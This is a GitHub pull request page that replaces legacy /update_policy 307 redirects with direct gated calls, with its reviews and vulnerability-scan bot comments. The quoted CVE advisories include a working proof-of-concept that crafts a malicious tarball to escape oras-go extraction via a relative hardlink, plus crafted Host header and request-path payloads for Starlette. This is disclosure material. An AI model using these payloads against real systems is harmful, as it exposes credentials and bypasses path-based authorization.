Skip to content

feat: replace legacy /update_policy* 307 redirects with direct gated calls (PER-15246)#320

Merged
dshoen619 merged 12 commits into
mainfrom
david/per-15246-pdp-replace-legacy-update_policy-307-redirects-with-direct
Jul 9, 2026
Merged

feat: replace legacy /update_policy* 307 redirects with direct gated calls (PER-15246)#320
dshoen619 merged 12 commits into
mainfrom
david/per-15246-pdp-replace-legacy-update_policy-307-redirects-with-direct

Conversation

@dshoen619

Copy link
Copy Markdown
Contributor

What

The gated aliases POST /update_policy and POST /update_policy_data previously returned a 307 RedirectResponse to the canonical OPAL trigger routes (/policy-updater/trigger, /data-updater/trigger). This replaces the redirects with direct in-process calls to the same OPAL updater methods the canonical handlers use.

Why

Many HTTP clients (requests, httpx, browsers) strip the Authorization header on redirect. The aliases only "work" today because the canonical targets are open. Once the canonical routes are gated by the upcoming default-deny middleware (PER-15245), a legitimate SDK calling an alias with a token would get 307 → token dropped → 401.

Calling the updaters directly keeps the happy path byte-identical for today's callers (same 200 {"status": "ok"}, one hop instead of two) while removing the header-drop trap. Only consumers are old Permit SDKs.

Changes

  • /update_policyawait self._opal.policy_updater.trigger_update_policy(force_full_update=True), returns {"status": "ok"}.
  • /update_policy_data503 (verbatim canonical detail string) when data_updater is None, otherwise await get_base_policy_data(data_fetch_reason="request from sdk (legacy alias)"), returns {"status": "ok"}.
  • Kept the per-route Depends(enforce_pdp_token) gate (belt-and-suspenders with PER-15245).
  • Dropped the now-unused RedirectResponse import; added HTTPException.
  • New horizon/tests/test_legacy_update_routes.py (6 tests).

Notes

  • policy_updater left unguarded (no None check), matching the canonical OPAL handler. The None case is unreachable in a running PDP — horizon never disables the policy updater, and a disabled data updater already crashes startup at pdp.py:178.
  • Auth codes: the tests pin the real behavior of enforce_pdp_token — a missing header yields 422 (required-param validation runs before the dependency body) and an invalid token yields 401. Both cases also assert the updater is never awaited, which is the durable security property. (The malformed-header → 500 footgun and missing-header → 401 normalization are PER-15245's header-safe helper, out of scope here.)

Test

pytest horizon/tests/test_legacy_update_routes.py horizon/tests/test_enforcer_api.py
# 39 passed

Ruff lint + format clean.

Rollout (PER-15243)

  • /update_policy_data access-log latency shifts from ~1ms (redirect emit) to a control-plane round-trip — identical to what redirect-following clients already experience post-hop, so no new exposure, but per-route latency alerts may need re-baselining.
  • Dashboards keyed on 307 counts to these paths drop to zero.

Linear: PER-15246

🤖 Generated with Claude Code

…calls (PER-15246)

The gated aliases /update_policy and /update_policy_data 307-redirected to the
canonical OPAL trigger routes. Many HTTP clients (requests, httpx, browsers)
strip Authorization on redirect, so once the canonical routes are gated by the
upcoming default-deny middleware (PER-15245), a legitimate SDK calling the alias
with a token would get 307 -> token dropped -> 401.

Call the OPAL updaters directly instead of redirecting, mirroring the canonical
handlers (policy_updater.trigger_update_policy / data_updater.get_base_policy_data,
503 when the data updater is disabled). Keep the per-route enforce_pdp_token gate
and drop the now-unused RedirectResponse import.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@linear-code

linear-code Bot commented Jul 6, 2026

Copy link
Copy Markdown

PER-15246

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR removes the legacy POST /update_policy* 307 redirect behavior and replaces it with direct in-process calls to the OPAL updaters, preventing Authorization header loss on redirect (important once canonical trigger routes become gated).

Changes:

  • Replace RedirectResponse-based legacy routes with direct await calls to policy_updater.trigger_update_policy(force_full_update=True) and data_updater.get_base_policy_data(...).
  • Add a 503 HTTPException for /update_policy_data when data_updater is disabled.
  • Add a new test module covering success, auth failure behavior, disabled-updater behavior, and non-redirect behavior.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 2 comments.

File Description
horizon/pdp.py Replaces legacy redirect handlers with direct updater calls and adds a 503 guard for disabled data_updater.
horizon/tests/test_legacy_update_routes.py Adds tests to validate legacy routes’ auth gating and updater invocation behavior.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment thread horizon/tests/test_legacy_update_routes.py
Comment thread horizon/tests/test_legacy_update_routes.py Outdated
@dshoen619 dshoen619 self-assigned this Jul 6, 2026
- Assert the 503 detail string matches the canonical data route exactly.
- Use httpx `is_redirect` instead of `!= 307` so the no-redirect guard covers
  every redirect code (301/302/303/307/308), since clients drop Authorization
  on all of them.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@github-actions

github-actions Bot commented Jul 6, 2026

Copy link
Copy Markdown

🔍 Vulnerabilities of permitio/pdp-v2:next

📦 Image Reference permitio/pdp-v2:next
digestsha256:26c335ae98b023b4b402bcc08a42957cd302666fa8364f3dc214a8b7fd272ad3
vulnerabilitiescritical: 0 high: 3 medium: 6 low: 1 unspecified: 1
platformlinux/amd64
size218 MB
packages247
📦 Base Image python:3.10-alpine3.22
also known as
  • 3.10.20-alpine3.22
digestsha256:c8f94b3bb77e6ea9015ccd091b7f8aec1b1fcbca95159675235d9a93788797cd
vulnerabilitiescritical: 1 high: 13 medium: 11 low: 4
critical: 0 high: 2 medium: 2 low: 1 starlette 0.50.0 (pypi)

pkg:pypi/starlette@0.50.0

high 7.5: CVE--2026--54283 Allocation of Resources Without Limits or Throttling

Affected range>=0.4.1
<1.3.1
Fixed version1.3.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.275%
EPSS Percentile19th percentile
Description

Summary

request.form() accepts max_fields and max_part_size to bound resource consumption while parsing form data. These limits are enforced for multipart/form-data, but silently ignored for application/x-www-form-urlencoded. An unauthenticated attacker can therefore send a urlencoded body with an arbitrarily large number of fields or an arbitrarily large field, even when the application configured limits it believed would apply.

Details

request.form() dispatches to a different parser depending on the Content-Type. For multipart/form-data the max_files, max_fields, and max_part_size limits are forwarded to the parser, but for application/x-www-form-urlencoded the parser is constructed without them. It has no max_fields or max_part_size parameter to receive them, and it appends every field with no count check and accumulates each field's name and value with no size check. The configured limits are therefore both unreachable and unenforced for url-encoded bodies.

Because the url-encoded parser does its work synchronously between stream reads, the two attack shapes have different effects:

  • Field count drives CPU and event-loop blocking. A body of ~1,000,000 fields (a sub-10MB payload such as f0=v&f1=v&...) blocks the worker's event loop for several seconds while parsing, during which the worker serves no other request.
  • Field size drives memory. A single large field value (e.g. a 50MB value) is buffered in full to build the FormData, forcing memory allocation proportional to the request body.

The equivalent multipart/form-data request is correctly rejected with 400 Too many fields / 400 Field exceeded maximum size.

Impact

This Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) that call request.form() on application/x-www-form-urlencoded requests. A single request with a very large number of fields blocks the event loop for several seconds, and a single request with a very large field forces unbounded memory allocation; in either case, parallel requests can render the service unusable. A reverse proxy that enforces a request body size limit reduces but does not eliminate the exposure, since a sub-10MB body is already enough to block the event loop.

Mitigation

Upgrade to a patched version, which forwards max_fields and max_part_size to the url-encoded parser and enforces them while parsing, raising before the oversized field or excess fields are accumulated. The defaults match multipart/form-data (max_fields=1000, max_part_size=1MB) and can be customized via request.form(max_fields=..., max_part_size=...).

high 7.5: CVE--2026--48818 Server-Side Request Forgery (SSRF)

Affected range<1.1.0
Fixed version1.1.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.368%
EPSS Percentile29th percentile
Description

Summary

When serving static files on Windows, StaticFiles resolves the requested path with os.path.realpath. If a UNC path (such as \\attacker.com\share) reaches the resolver, realpath causes the process to open a connection to the remote host over SMB (port 445). This is a server-side request forgery (SSRF) that leaks the service account's NTLMv2 credentials to the attacker-controlled host, which can then be cracked offline or relayed to other hosts.

Details

StaticFiles.lookup_path() joins the requested path onto the served directory and calls os.path.realpath on the result before checking containment with os.path.commonpath. On Windows, a UNC path is absolute, so os.path.join discards the served directory and realpath resolves the bare UNC path, triggering the outbound SMB connection and NTLM authentication before the containment check rejects the path. The HTTP response is a benign 404, but the credential disclosure has already happened. POSIX systems are not affected.

This only affects the default configuration (follow_symlink=False), which uses os.path.realpath. The follow_symlink=True branch uses os.path.abspath, which performs no I/O.

Impact

Applications running on Windows that serve files with StaticFiles (directly, or via a framework built on Starlette such as FastAPI) in the default configuration are affected. StaticFiles is typically unauthenticated, so any client can trigger the SMB connection and leak the service account's NTLMv2 hash. A secondary impact is discovering internal hosts reachable over SMB by timing responses for valid versus invalid addresses.

Mitigation

Applications not running on Windows are not affected. On Windows, serving static files through a dedicated web server (such as nginx or IIS) instead of StaticFiles avoids the issue. Blocking outbound SMB (port 445) from the application host prevents the credential disclosure even if a UNC path is resolved.

medium 6.5: CVE--2026--48710 Improper Validation of Unsafe Equivalence in Input

Affected range<=1.0.0
Fixed version1.0.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score1.438%
EPSS Percentile70th percentile
Description

Summary

In affected versions, the HTTP Host request header was not validated before being used to reconstruct request.url. Because the routing algorithm relies on the raw HTTP path while request.url is rebuilt from the Host header, a malformed header could make request.url.path differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on request.url (rather than the raw scope path) could therefore be bypassed.

Details

When a client requests http://example.com/foo, it sends:

GET /foo HTTP/1.1
Host: example.com

Affected versions reconstructed the URL by concatenating http://{host}{path} and re-parsing the result. The Host value is only valid as a uri-host [ ":" port ] per RFC 9112 §3.2, where uri-host follows the restricted host grammar of RFC 3986 §3.2.2. When it contains characters outside that grammar - notably /, ?, or # - those characters move the path/query/fragment boundaries during re-parsing, so the parsed request.url.path no longer matches the path the server actually received. For example:

GET /foo HTTP/1.1
Host: example.com/abc?bar=

reconstructs to http://example.com/abc?bar=/foo, whose parsed path is /abc - even though routing used the real path /foo. The router still dispatches to /foo and the endpoint executes, but any middleware or code that reads request.url.path sees /abc, so path-based authorization checks can be bypassed.

Impact

Any application running an affected version that relies on request.url (or request.url.path) for security-sensitive decisions is affected. The most common case is middleware that gates access to certain path prefixes based on request.url.path. Deployments fronted by a proxy or load balancer are mitigated only if that proxy rejects or normalizes the malformed Host header before forwarding and the application does not trust attacker-controlled host headers (e.g. X-Forwarded-Host) elsewhere.

Mitigation

Upgrade to a patched version, which validates the Host header against the grammar of RFC 9112 §3.2 / RFC 3986 §3.2.2 when constructing request.url and falls back to scope["server"] for malformed values.

medium 5.3: CVE--2026--48817 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Affected range<1.1.0
Fixed version1.1.0
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score0.213%
EPSS Percentile12th percentile
Description

Summary

When dispatching a request, HTTPEndpoint selects the handler by lowercasing the HTTP method and looking it up as an attribute with getattr, without restricting the lookup to a known set of HTTP verbs.

When an HTTPEndpoint subclass is registered through Route(...) without an explicit methods= argument, the route does not constrain the method and every method reaches the endpoint. If a non-standard HTTP method whose lowercased name matches an attribute on the endpoint subclass reaches the endpoint, that attribute is invoked as if it were a request handler. An attacker can use this to reach methods that were never meant to be HTTP handlers, such as internal helpers, without the authorization checks applied by the intended public handler.

Details

HTTPEndpoint uses the client-supplied method name to resolve an instance attribute, without validating it against the set of HTTP verbs the endpoint supports. A method such as _DO_DELETE therefore resolves an attribute like _do_delete and invokes it. Non-standard methods are valid RFC 9110 token methods, so an endpoint must not treat the method name as a trusted attribute selector.

Impact

An application is affected when all of the following hold:

  • It defines an HTTPEndpoint subclass and registers it via Route(...) without an explicit methods= argument.
  • The subclass defines additional methods whose names match a non-standard HTTP-method token shape and that accept a single request argument and return a response.

This also affects frameworks built on Starlette, like FastAPI.

Mitigation

Register HTTPEndpoint subclasses with an explicit methods= argument on the Route, listing only the HTTP verbs the endpoint supports. The route then rejects any other method with 405 Method Not Allowed before it reaches the endpoint, so non-standard methods cannot resolve an attribute.

low 3.7: CVE--2026--54282 Improper Input Validation

Affected range<1.3.0
Fixed version1.3.0
CVSS Score3.7
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score0.187%
EPSS Percentile8th percentile
Description

Summary

In affected versions, the HTTP request path is not validated before being used to reconstruct request.url. Because request.url is rebuilt by concatenating {scheme}://{host}{path} and re-parsing the result, a path that does not begin with / (for example @<!-- -->google.com) moves the authority boundary during re-parsing, so request.url.hostname and request.url.netloc become attacker-controlled. Code that reads request.url.hostname (rather than the Host header or scope) can therefore be misled into trusting an attacker-supplied host.

Details

When a client requests a path that does not start with /:

GET @<!-- -->google.com HTTP/1.1
Host: localhost

affected versions reconstruct the URL as http://localhost@<!-- -->google.com. Per RFC 3986 §3.2.1, the substring before @ in the authority is userinfo, so re-parsing yields username = "localhost" and hostname = "google.com", with an empty path:

request.url          == "http://localhost@<!-- -->google.com"
request.url.hostname == "google.com"
request.url.path     == ""

The root cause is that the path is concatenated directly after the host without a separating /, and without validating that it begins with one. Only the Host header was validated when constructing request.url; the path was not.

This requires an ASGI server that forwards a request-target lacking a leading / into scope["path"].

Impact

Any application running an affected version that uses request.url, request.url.netloc, or request.url.hostname for a security-sensitive decision (host-based authorization, redirect/callback base, SSRF target, cache key, audit log) may be affected, when no fronting proxy or load balancer rejects the malformed request-target first.

Note that this is less exploitable than GHSA-86qp-5c8j-p5mr: there, the poison is carried in the Host header, so the real path still routes to a valid endpoint while request.url.path lies. Here, the poison must be carried in the path itself, and that path (@<!-- -->google.com) does not match any registered route, so routing returns 404 and no endpoint handler runs. The exposure is limited to code that reads request.url before routing - notably middleware - or in 404/exception handlers.

Mitigation

Upgrade to a patched version, which prevents the request path from crossing into the URL authority. The request above instead yields http://localhost/@<!-- -->google.com with request.url.hostname == "localhost".

critical: 0 high: 1 medium: 0 low: 0 oras.land/oras-go/v2 2.6.1 (golang)

pkg:golang/oras.land/oras-go/v2@2.6.1

high 7.1: CVE--2026--50163 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range<=2.6.1
Fixed versionNot Fixed
CVSS Score7.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
Description

Root cause

The tar-extraction helper ensureLinkPath at content/file/utils.go:262-275 validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved target string back to the caller:

func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
    path := target
    if !filepath.IsAbs(target) {
        path = filepath.Join(filepath.Dir(link), target)  // resolved FOR VALIDATION
    }
    if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
        return "", err
    }
    return target, nil   // <-- returns the ORIGINAL target, not the validated path
}

The caller for TypeLink hardlinks then does:

case tar.TypeLink:
    var target string
    if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
        err = os.Link(target, filePath)
    }

os.Link(oldname, newname) wraps the link(2) system call. From the link(2) man page:

oldpath and newpath are interpreted relative to the current working directory of the calling process.

So when target (i.e., header.Linkname) is a relative path, os.Link resolves it against the process's current working directory, not against filepath.Dir(link) as the validation assumed.

Attack

An attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via oras pull) crafts a tarball layer with:

  • A regular file: payload.tar.gz/README.txt.
  • A hardlink entry: Typeflag=TypeLink, Name=payload.tar.gz/evil_cwd_link, Linkname="victim.secret" (relative).

and marks the layer descriptor with io.deis.oras.content.unpack: "true" (a standard annotation that tells oras-go to auto-extract).

When a victim runs oras pull (or any Go code using content.File), the extraction:

  1. Validates payload.tar.gz/evil_cwd_link — passes.
  2. Calls ensureLinkPath(dirPath, "payload.tar.gz", filePath, "victim.secret"):
    • path = filepath.Join(filepath.Dir(filePath), "victim.secret") = <extract_base>/payload.tar.gz/victim.secret → inside base → validation passes.
    • Returns target = "victim.secret" (NOT path).
  3. Calls os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link").
  4. link(2) resolves relative oldname="victim.secret" against process CWD → creates a hardlink inside the extract tree pointing to <invoker_CWD>/victim.secret.

The resulting hardlink and the CWD file share an inode — reading one reads the other; writing to one writes to the other.


Proof of Concept

Tested on Ubuntu 24.04.4 LTS with oras CLI v1.3.0 (SHA-256 040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4, downloaded from https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz).

Reproduction script (standalone, ~50 lines) attached. Summary of key steps:

# 1. Place victim file in the future CWD.
mkdir -p cwd-space extract
echo "TOP SECRET FROM CWD" > cwd-space/victim.secret

# 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.
python3 -c '
import tarfile, io, os
with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t:
    info = tarfile.TarInfo(name="payload.tar.gz/README.txt")
    c = b"pulled from registry"; info.size = len(c); info.mode = 0o644
    info.uid = os.getuid(); info.gid = os.getgid()
    t.addfile(info, io.BytesIO(c))

    link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link")
    link.type = tarfile.LNKTYPE
    link.linkname = "victim.secret"   # RELATIVE
    link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()
    t.addfile(link)
'

# 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.
(cd cwd-space && oras push --oci-layout ../layout:v1 \
    payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)
# ... patch layout/blobs/sha256/<manifest> to add
#     io.deis.oras.content.unpack: "true" on layers[0].annotations ...

(cd cwd-space && oras pull --oci-layout ../layout:v1 --output ../extract)

# 4. Observe inode sharing.
stat -c '%i' extract/payload.tar.gz/evil_cwd_link   # → 6554160
stat -c '%i' cwd-space/victim.secret                # → 6554160 (SAME)
cat extract/payload.tar.gz/evil_cwd_link             # → "TOP SECRET FROM CWD"

Observed output:

evil_cwd_link (inside extract dir): inode=6554160
victim.secret  (in invoker CWD):    inode=6554160
*** ESCAPE CONFIRMED ***
Reading through the extract-dir hardlink yields the CWD file contents:
TOP SECRET FROM CWD

A library-level regression test is also provided (poc_test.go) that drops into content/file/utils_test.go and runs via go test ./content/file/... -run TestPoC — output shows identical inode match for consumers of the library API.


Impact

Primary: arbitrary-CWD-file read primitive. An attacker-controlled OCI artifact, when pulled by a victim using the oras CLI or any Go program using oras-go/v2/content/file, can create a hardlink inside the victim's extract tree pointing to an arbitrary file in the victim's process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file's contents verbatim.

Secondary: inode-sharing tampering primitive. Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the "writes inside the extract dir are confined" invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on.

High-severity chains:

  • CI pipelines where oras pull runs from a project workspace containing secrets/credentials (.env, .git/config, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived/mounted/published.
  • Container orchestration where the extract dir is bind-mounted into a lower-trust container while the pull-invoker's CWD is higher-trust. Hardlinks created in the extract tree expose invoker-CWD files across the trust boundary.
  • Kubernetes operators / Flux source-controller using oras-go to fetch artifacts; their CWD is typically / or /root — very sensitive.
  • Multi-tenant registry proxies that use oras-go to fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state.

Not affected:

  • oras push (tarball creation side): tarDirectory in the same file explicitly skips hardlink generation (line 65 comment: "We don't support hard links and treat it as regular files"), so pushed content cannot trigger this on the server.
  • Symlink extraction path (TypeSymlink): os.Symlink stores the target string verbatim and does not CWD-resolve at creation time. The current ensureLinkPath return-of-target is correct for symlinks (the existing validation correctly models the symlink-follow path).

Attack-surface boundary (fs.protected_hardlinks)

On Linux with fs.protected_hardlinks=1 (default on modern distros), link(2) additionally requires the linking user to have READ + WRITE permission on the source file (per may_linkat() in the kernel). Verified on Ubuntu 24.04: as non-root, ln /etc/passwd /tmp/x returns EPERM, and the same via the oras PoC path returns link passwd /tmp/.../evil_passwd: operation not permitted.

So the attacker cannot use this bug to read arbitrary root-owned files (e.g., /etc/shadow) when the victim invokes oras pull as a regular user. The attack surface depends on the invocation context:

Invocation context Reachable file classes
oras pull run by a regular user Any file the user OWNS or has write access to in the process CWD: .env, .git/config, .aws/credentials, ~/.ssh/config, project-local secrets, CI workspace files.
oras pull run as root (systemd without User=, container entrypoint default root, Kubernetes operator) Every file on the host filesystem. /etc/shadow, /root/.ssh/id_rsa, bind-mounted host paths, service private keys.

The user-context attack surface alone is sufficient for supply-chain-grade impact: CI pipelines and developer machines routinely hold API keys, signing keys, and cloud credentials in user-owned files in the working directory. The root-context escalation makes the bug Critical in mainstream Kubernetes/GitOps tooling where oras-go is adopted for artifact distribution.


Proposed fix

Change ensureLinkPath to expose both the verbatim target (for symlinks) and the resolved absolute path (for hardlinks); have the TypeLink case use the resolved path.

// Current behavior preserved for TypeSymlink. TypeLink switches to the resolved
// path to avoid CWD-resolution mismatch at os.Link time.
func ensureLinkPath(baseAbs, baseRel, link, target string) (symlinkTarget, hardlinkPath string, err error) {
    path := target
    if !filepath.IsAbs(target) {
        path = filepath.Join(filepath.Dir(link), target)
    }
    if _, err = resolveRelToBase(baseAbs, baseRel, path); err != nil {
        return "", "", err
    }
    return target, path, nil
}
case tar.TypeLink:
    var absTarget string
    if _, absTarget, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
        err = os.Link(absTarget, filePath)
    }
case tar.TypeSymlink:
    var symTarget string
    symTarget, _, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname)
    if err != nil { return err }
    if err = os.Symlink(symTarget, filePath); err != nil { ... }

Regression test to add:

Extend Test_extractTarDirectory_HardLink with a third sub-test that:

  1. Creates a sentinel file in the test's t.TempDir() (or an explicitly os.Chdir-entered directory) with a known name, e.g. sentinel.txt.
  2. Builds a tarball containing a TypeLink entry with Linkname: "sentinel.txt" (relative).
  3. Extracts.
  4. Asserts either extractTarDirectory returned an error, OR the resulting hardlink's inode does NOT match the sentinel's inode.
critical: 0 high: 0 medium: 1 low: 0 util-linux 2.41-r9 (apk)

pkg:apk/alpine/util-linux@2.41-r9?os_name=alpine&os_version=3.22

medium : CVE--2026--27456

Affected range<=2.41-r9
Fixed versionNot Fixed
EPSS Score0.118%
EPSS Percentile2nd percentile
Description
critical: 0 high: 0 medium: 1 low: 0 go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp 1.42.0 (golang)

pkg:golang/go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp@1.42.0

medium 5.3: CVE--2026--39882 Memory Allocation with Excessive Size Value

Affected range<1.43.0
Fixed version1.43.0
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.190%
EPSS Percentile9th percentile
Description

overview:
this report shows that the otlp HTTP exporters (traces/metrics/logs) read the full HTTP response body into an in-memory bytes.Buffer without a size cap.

this is exploitable for memory exhaustion when the configured collector endpoint is attacker-controlled (or a network attacker can mitm the exporter connection).

severity

HIGH

not claiming: this is a remote dos against every default deployment.
claiming: if the exporter sends traces to an untrusted collector endpoint (or over a network segment where mitm is realistic), that endpoint can crash the process via a large response body.

callsite (pinned):

  • exporters/otlp/otlptrace/otlptracehttp/client.go:199
  • exporters/otlp/otlptrace/otlptracehttp/client.go:230
  • exporters/otlp/otlpmetric/otlpmetrichttp/client.go:170
  • exporters/otlp/otlpmetric/otlpmetrichttp/client.go:201
  • exporters/otlp/otlplog/otlploghttp/client.go:190
  • exporters/otlp/otlplog/otlploghttp/client.go:221

permalinks (pinned):

root cause:
each exporter client reads resp.Body using io.Copy(&respData, resp.Body) into a bytes.Buffer on both success and error paths, with no upper bound.

impact:
a malicious collector can force large transient heap allocations during export (peak memory scales with attacker-chosen response size) and can potentially crash the instrumented process (oom).

affected component:

  • go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp
  • go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp
  • go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploghttp

repro (local-only):

unzip poc.zip -d poc
cd poc
make canonical resp_bytes=33554432 chunk_delay_ms=0

expected output contains:

[CALLSITE_HIT]: otlptracehttp.UploadTraces::io.Copy(resp.Body)
[PROOF_MARKER]: resp_bytes=33554432 peak_alloc_bytes=118050512

control (same env, patched target):

unzip poc.zip -d poc
cd poc
make control resp_bytes=33554432 chunk_delay_ms=0

expected control output contains:

[CALLSITE_HIT]: otlptracehttp.UploadTraces::io.Copy(resp.Body)
[NC_MARKER]: resp_bytes=33554432 peak_alloc_bytes=512232

attachments: poc.zip (attached)

PR_DESCRIPTION.md

attack_scenario.md

poc.zip

Fixed in: open-telemetry/opentelemetry-go#8108

critical: 0 high: 0 medium: 1 low: 0 busybox 1.37.0-r20 (apk)

pkg:apk/alpine/busybox@1.37.0-r20?os_name=alpine&os_version=3.22

medium : CVE--2025--60876

Affected range<=1.37.0-r20
Fixed versionNot Fixed
EPSS Score0.258%
EPSS Percentile17th percentile
Description
critical: 0 high: 0 medium: 1 low: 0 sqlparse 0.5.0 (pypi)

pkg:pypi/sqlparse@0.5.0

medium 6.9: GHSA--27jp--wm6q--gp25 Allocation of Resources Without Limits or Throttling

Affected range<=0.5.3
Fixed version0.5.4
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Description

Summary

The below gist hangs while attempting to format a long list of tuples.

This was found while drafting a regression test for Dja
ngo 5.2's composite primary key feature
, which allows querying composite fields with tuples.

critical: 0 high: 0 medium: 0 low: 0 unspecified: 1golang.org/x/crypto 0.53.0 (golang)

pkg:golang/golang.org/x/crypto@0.53.0

unspecified : GO--2026--5932

Affected range>=0
Fixed versionNot Fixed
Description

The golang.org/x/crypto/openpgp package is unsafe by design, has numerous known security issues, is not maintained, and should not be used.

If you are required to interoperate with OpenPGP systems and need a maintained package, consider github.com/ProtonMail/go-crypto/openpgp which is a maintained fork that aims to be a drop-in replacement for this package.

@github-actions

github-actions Bot commented Jul 6, 2026

Copy link
Copy Markdown

🔍 Vulnerabilities of permitio/pdp-v2:next

📦 Image Reference permitio/pdp-v2:next
digestsha256:26c335ae98b023b4b402bcc08a42957cd302666fa8364f3dc214a8b7fd272ad3
vulnerabilitiescritical: 0 high: 0 medium: 0 low: 0
platformlinux/amd64
size218 MB
packages247
📦 Base Image python:3.10-alpine3.22
also known as
  • 3.10.20-alpine3.22
digestsha256:c8f94b3bb77e6ea9015ccd091b7f8aec1b1fcbca95159675235d9a93788797cd
vulnerabilitiescritical: 1 high: 13 medium: 11 low: 4

The canonical OPAL trigger handlers log the API-originated trigger; the
direct-call rewrite dropped that, leaving SDK-triggered full re-pulls
unattributable in PDP logs during incident debugging.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

@zeevmoney zeevmoney left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated review — PER-15246 (replace legacy /update_policy* 307 redirects with direct gated calls)

What this PR does: In horizon/pdp.py, the two legacy alias routes /update_policy and /update_policy_data no longer return a RedirectResponse (307) to the canonical /policy-updater/trigger / /data-updater/trigger. They now invoke the OPAL updater methods inline: legacy_trigger_policy_update calls policy_updater.trigger_update_policy(force_full_update=True); legacy_trigger_data_update returns 503 if data_updater is None, else calls data_updater.get_base_policy_data(...); both return {"status": "ok"} (200). Motivation: 307 redirects make many HTTP clients drop the Authorization header, so once the canonical routes are gated an SDK hitting an alias would 307 -> lose its token -> 401. Adds a new test file horizon/tests/test_legacy_update_routes.py.

Verdict: REQUEST_CHANGES. One Postable HIGH finding: the new test file aborts the entire pytest collection in CI (ModuleNotFoundError: No module named 'horizon.tests', "Interrupted: 1 error during collection", exit 2) — no tests run, the fix is unverified, and merging would break pytests on main for all PRs.

The production change itself is correct and faithful (verified against opal_client's canonical handlers in policy/api.py and data/api.py):

  • trigger_update_policy(force_full_update=True) + {"status":"ok"} + 200 exactly match /policy-updater/trigger.
  • The data_updater is None -> 503 path uses the exact canonical detail string ("Data Updater is currently disabled. Dynamic data updates are not available."); the only deliberate difference is data_fetch_reason="request from sdk (legacy alias)" (canonical uses "request from sdk"), for telemetry.
  • No redirect, no double-execution; both aliases remain gated with Depends(enforce_pdp_token).
  • Caveat: the canonical handlers were read from the local opal checkout (may differ slightly from the pinned opal-client==0.9.6), but the log-line and 503-detail strings match exactly, indicating fidelity.

Findings

Postable

# Sev File:Line Category Description
1 HIGH horizon/tests/test_legacy_update_routes.py:6 Testing / CI from horizon.tests.test_enforcer_api import MockPermitPDP -> ModuleNotFoundError: No module named 'horizon.tests' (no __init__.py, non-editable install) interrupts ALL pytest collection (exit 2); no tests run and merging breaks main's pytests.
2 MEDIUM horizon/tests/test_legacy_update_routes.py:40,72 Cross-PR interaction Asserts 422 for a missing auth header; sibling PR #317 flips that to 401 (adds = None to enforce_pdp_token). Whichever merges second breaks these assertions.

Informational

# Sev Ref Category Description
I1 INFO pdp-tester / docker-scout / security-snyk (CI) Pre-existing / infra pdp-tester red = pre-existing k3d-action 404 breakage (this branch lacks the Docker-runtime migration in #317/#318/#319); docker-scout red = residual base-image CVEs; security/snyk red = quota. None caused by this PR.
I2 INFO horizon/pdp.py legacy_trigger_policy_update Parity note Like the canonical route, the policy alias does not None-check policy_updater (only the data alias None-checks data_updater). This matches canonical behavior — intentional parity, not a gap.
I3 INFO Copilot threads (line 65, redirect guard) Dedup Copilot's earlier asks (assert the exact 503 detail string; guard against all redirect codes not just 307) were both addressed by the author (.is_redirect, exact detail assertion). Not re-raised.

